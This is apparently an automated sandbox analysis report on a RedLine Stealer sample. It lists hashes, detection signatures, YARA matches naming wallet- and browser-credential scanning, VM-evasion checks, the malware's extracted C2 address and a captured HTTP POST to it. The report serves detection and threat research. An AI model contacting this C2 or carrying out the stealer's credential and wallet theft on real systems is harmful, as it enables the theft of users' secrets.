Edit tour

Windows Analysis Report
2MNB4UhUqR.exe

Overview

General Information

Sample Name:	2MNB4UhUqR.exe
Analysis ID:	718009
MD5:	53bff074cb42df5106e24a0c3ebeea5b
SHA1:	11b7a4e40fe451f4b02448dc3b1b41851db2b42f
SHA256:	cb6d66cbdcf25b7d8ec480a8488a3adfa55b2344b1da80ad375d02e09062d8a2
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Yara detected Generic Downloader

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Yara detected Credential Stealer

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

Enables debug privileges

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Detected TCP or UDP traffic on non-standard ports

Binary contains a suspicious time stamp

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

2MNB4UhUqR.exe (PID: 2876 cmdline: C:\Users\user\Desktop\2MNB4UhUqR.exe MD5: 53BFF074CB42DF5106E24A0C3EBEEA5B)

conhost.exe (PID: 484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["194.190.152.20:57105"], "Bot Id": "first_build"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
2MNB4UhUqR.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2MNB4UhUqR.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2MNB4UhUqR.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2MNB4UhUqR.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165fa:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165db:$v2_6: GetUpdates
2MNB4UhUqR.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 2MNB4UhUqR.exe PID: 2876	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 2MNB4UhUqR.exe PID: 2876	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2MNB4UhUqR.exe PID: 2876	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x393368:$a4: get_ScannedWallets 0x39220f:$a5: get_ScanTelegram 0x392ff1:$a6: get_ScanGeckoBrowsersPaths 0x390ea2:$a7: <Processes>k__BackingField 0x38e3d5:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3907d6:$a9: <ScanFTP>k__BackingField
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.0.2MNB4UhUqR.exe.730000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.0.2MNB4UhUqR.exe.730000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.0.2MNB4UhUqR.exe.730000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.0.2MNB4UhUqR.exe.730000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165fa:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165db:$v2_6: GetUpdates
2.0.2MNB4UhUqR.exe.730000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 194.190.152.20:57105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.ip.sb

System Summary

Malicious sample detected (through community Yara rule)

Source: 2MNB4UhUqR.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2MNB4UhUqR.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 2.0.2MNB4UhUqR.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 2.0.2MNB4UhUqR.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: 2MNB4UhUqR.exe PID: 2876, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: 2MNB4UhUqR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2MNB4UhUqR.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2MNB4UhUqR.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 2.0.2MNB4UhUqR.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 2.0.2MNB4UhUqR.exe.730000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23
Source: Process Memory Space: 2MNB4UhUqR.exe PID: 2876, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb reference_sample = d82ad08ebf2c6fac951aaa6d96bdb481aa4eab3cd725ea6358b39b1045789a25, os = windows, severity = x86, creation_date = 2021-06-12, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 6a9d45969c4d58181fca50d58647511b68c1e6ee1eeac2a1838292529505a6a0, id = f54632eb-2c66-4aff-802d-ad1c076e5a5e, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04F921D8	2_2_04F921D8
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04F968F8	2_2_04F968F8
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04F91D98	2_2_04F91D98
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04F9BE80	2_2_04F9BE80
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04F92610	2_2_04F92610
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04F90190	2_2_04F90190
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FF7738	2_2_04FF7738
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FF7730	2_2_04FF7730
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FF4EE0	2_2_04FF4EE0
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FF4900	2_2_04FF4900

Source: 2MNB4UhUqR.exe, 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameImplosions.exe4 vs 2MNB4UhUqR.exe
Source: 2MNB4UhUqR.exe, 00000002.00000002.376477921.0000000002CC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs 2MNB4UhUqR.exe
Source: 2MNB4UhUqR.exe	Binary or memory string: OriginalFilenameImplosions.exe4 vs 2MNB4UhUqR.exe

Source: 2MNB4UhUqR.exe

ReversingLabs: Detection: 85%

Source: 2MNB4UhUqR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2MNB4UhUqR.exe C:\Users\user\Desktop\2MNB4UhUqR.exe
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

File created: C:\Users\user\AppData\Local\Temp\tmpCF31.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/27@2/1

Source: tmp217D.tmp.2.dr, tmp22AB.tmp.2.dr, tmp21AD.tmp.2.dr, tmp223C.tmp.2.dr, tmp22AA.tmp.2.dr, tmp223B.tmp.2.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2MNB4UhUqR.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:484:120:WilError_01

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: 2MNB4UhUqR.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 2MNB4UhUqR.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FFB5C0 push cs; ret	2_2_04FFB5F4
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FFE044 push eax; iretd	2_2_04FFE04A
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FFE028 push ecx; iretd	2_2_04FFE029
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FFE1F2 push eax; retf	2_2_04FFE1F9
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Code function: 2_2_04FFE1F0 pushad ; retf	2_2_04FFE1F1

Source: 2MNB4UhUqR.exe

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 57105
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 57105
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 57105
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 57105
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 57105 -> 49703

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe TID: 3800

Thread sleep time: -8301034833169293s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Window / User API: threadDelayed 9511

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 2MNB4UhUqR.exe, 00000002.00000002.388312017.0000000006305000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: 2MNB4UhUqR.exe, 00000002.00000002.388312017.0000000006305000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMware1RWKSZOHWin32_VideoControllerL4BBOBXPVideoController120060621000000.000000-000.6452781display.infMSBDARUYU7HUEPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsK59YBN38

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Users\user\Desktop\2MNB4UhUqR.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
